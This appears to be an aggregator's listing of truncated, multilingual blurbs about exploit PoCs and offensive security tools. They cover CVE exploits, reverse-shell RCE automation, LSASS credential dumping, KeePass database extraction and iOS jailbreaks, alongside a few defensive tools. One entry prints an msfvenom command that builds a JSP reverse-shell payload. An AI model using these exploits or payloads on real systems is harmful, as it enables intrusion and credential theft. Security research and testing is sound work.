Guide-and-theoretical-code-for-CVE-2023-35674

Leitfaden-und-theoretischer-Code-für-CVE-2023-35674 Leitfaden und theoretischer Code für CVE-2023-35674 Da Android außerhalb meiner Fähigkeiten liegt, betrachte dies bitte als groben Überblick aus meiner Sicht, wie ich diese CVE ausnutzen würde. Die Code-Snippets sind nur Skelette, bitte helft mi...

Rabbit Hole

Panoramica Rabbit Hole fornisce un sottoinsieme molto limitato delle funzionalità di Maltego, focalizzato sulla creazione di rappresentazioni visive di informazioni per il Penetration Testing. Consente la creazione di vari tipi di nodi come indirizzi IP, porte, servizi, ecc. e collegamenti tra di...

CVE-2020-35391-POC

Willkommen zu CVE-2020-35391-POC 👋 Tenda N300 Authentifizierungsumgehung durch fehlerhaften HTTP-Request-Header Python POC Tenda N300 F3 12.01.01.48 Geräte erlauben entfernten Angreifern, sensible Informationen möglicherweise einschließlich einer httppasswd-Zeile durch eine direkte Anfrage nach...

CVE-2025-32463-lab

Ambiente de laboratório para a vulnerabilidade CVE-2025-32463 Este projeto cria, com base em Docker, um ambiente de laboratório para reproduzir e testar a vulnerabilidade de escalonamento de privilégios locais CVE-2025-32463 no sudo. A imagem contém a versão afetada do sudo, juntamente com script...

CVE-2026-42945_NginxRift

🚀 NGINX Rift PoC Automation — CVE-2026-42945 Driver de automação PoC para exploração de RCE do containernginx-rift · Verificação do alvo → Exploit de comando único → Reverse-shell interativa Um único comando orquestra todo o fluxo do exploit — da verificação do container até obter a shell. ⚠️ Avis...

IPFire_2.19_RCE_Authenticated

IPFire 2.19 OINKCODE RCE PoC Proof of concept in Python per la vulnerabilità di command injection autenticata nella pagina ids.cgi di IPFire 2.19 tramite il parametro OINKCODE. Solo per test di sicurezza autorizzati e laboratori di formazione. Esegui questo PoC solo contro sistemi che possiedi o...

Fast-CVE-2022-22965

Target root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest La reverse shell si basa essenzialmente su msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Dopo aver codificato il JSP in URL, utilizzare root@kitploit:...

CVE-2024-48705

Panoramica Durante una recente ricerca di sicurezza sul Wavlink AC1200 Modello: WL-WN532A3, è stata identificata una vulnerabilità di iniezione di comandi post-autenticazione nell'endpoint "/cgi-bin/adm.cgi". Questa vulnerabilità potrebbe consentire ad attori malintenzionati che abbiano compromes...

Simple-CVE-2021-41773-checker

Semplice controllore per CVE-2021-41773 Semplice script realizzato in bash, per la verifica di più host per CVE-2021-41773 Apache. + Uso: ./CVE-2021-41773.sh hosts.txt...

proteus

Proteus Proteus - Il database e l'API di axiom https://github.com/pry0cc/axiom. Originariamente, scritto per Costruire una piattaforma ASM usando gli strumenti ProjectDiscovery. Configurazione Per prima cosa, clona il repository root@kitploit: git clone https://github.com/pry0cc/proteus /.proteus...

physmem2profit

Physmem2profit Physmem2profit può essere utilizzato per creare un minidump del processo LSASS di un host target analizzando la memoria fisica da remoto. L'intento di questa ricerca è proporre un approccio alternativo al furto di credenziali e creare un framework modulare che possa essere esteso p...

yellow

root@kitploit: | | | | | | |/ \ | |/ \ \ /\ / / | || | / | | \ V V / , ||||/ // |/ - Just add blue. yellow - basta aggiungere blu Semplici modifiche binarie che attiveranno un canarytoken quando un binario viene eseguito. Ideale per disseminare trappole nei sistemi di produzione contro gli...

yari

YARI - YARA Interattivo Debugger interattivo per il linguaggio YARA scritto in Rust. Il debugger chiama direttamente libyara evitando l'emulazione per ottenere i risultati più accurati. 🚀 Funzionalità: Chiamare funzioni dai moduli Ottenere il valore delle costanti dei moduli Valutare espressioni...

AutoHoneyPoC

AutoHoneyPoC Generatore AutoPoC HoneyPoC edizione definitiva. Se è la prima volta che senti parlare o vedi il progetto, vorrai leggere il post sul blog. https://blog.zsec.uk/honeypoc-ultimate/ Mentre rilascio AutoPoC, il framework da solo è innocuo poiché richiede alcuni prerequisiti per costruir...

CVE-2024-0044

CVE-2024-0044- CVE-2024-0044: una vulnerabilità ad alta gravità "run-as any app" che colpisce Android versioni 12 e 13 Script di Exploit per CVE-2024-0044 Questo script Bash dimostra come sfruttare CVE-2024-0044. Solo per scopi educativi e di test. Prerequisiti ADB Android Debug Bridge installato...

CVE-2018-6789

CVE-2018-6789 Setup dell'ambiente Installa le dipendenze root@kitploit: apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev Scarica la vecchia versione di exim root@kitploit: wget...

rewind

README Rewind è un fuzzer basato su snapshot e guidato dalla copertura che ha come bersaglio i componenti del kernel Windows. L'idea è partire da uno snapshot di un sistema vivo in esecuzione. Questo snapshot è composto dalle pagine di memoria fisica insieme allo stato della CPU. Questo stato vie...

Fugu15

Fugu15 Fugu15 ist ein semi-untethered, dauerhaft signierter Jailbreak für iOS 15. Er enthält einen Code-Signing-Bypass, einen Kernel-Exploit, einen Kernel-PAC-Bypass und einen PPL-Bypass. Zusätzlich kann er über Safari installiert werden, d. h. ein Computer ist nicht erforderlich, außer für einen...

KeeFarceReborn

KeeFarce Reborn Una DLL autonoma che esporta i database in chiaro una volta iniettata nel processo di KeePass. Fortemente ispirata ai grandi progetti KeeFarce, KeeThief e KeePassHax. Perché un altro strumento di estrazione KeePass? Qualche anno fa, @denandz ha rilasciato KeeFarce, il primo...

weightBufs

WeightBufs: WeightBufs ist ein Kernel-Lese-/Schreib-Exploit für alle Apple-Geräte mit Neural-Engine-Unterstützung. Bugs und Exploit von @simo36, weitere Details zu den Schwachstellen und den Ausnutzungstechniken findest du in meinen Präsentationsfolien bei POC. Der Exploit verlässt sich nicht auf...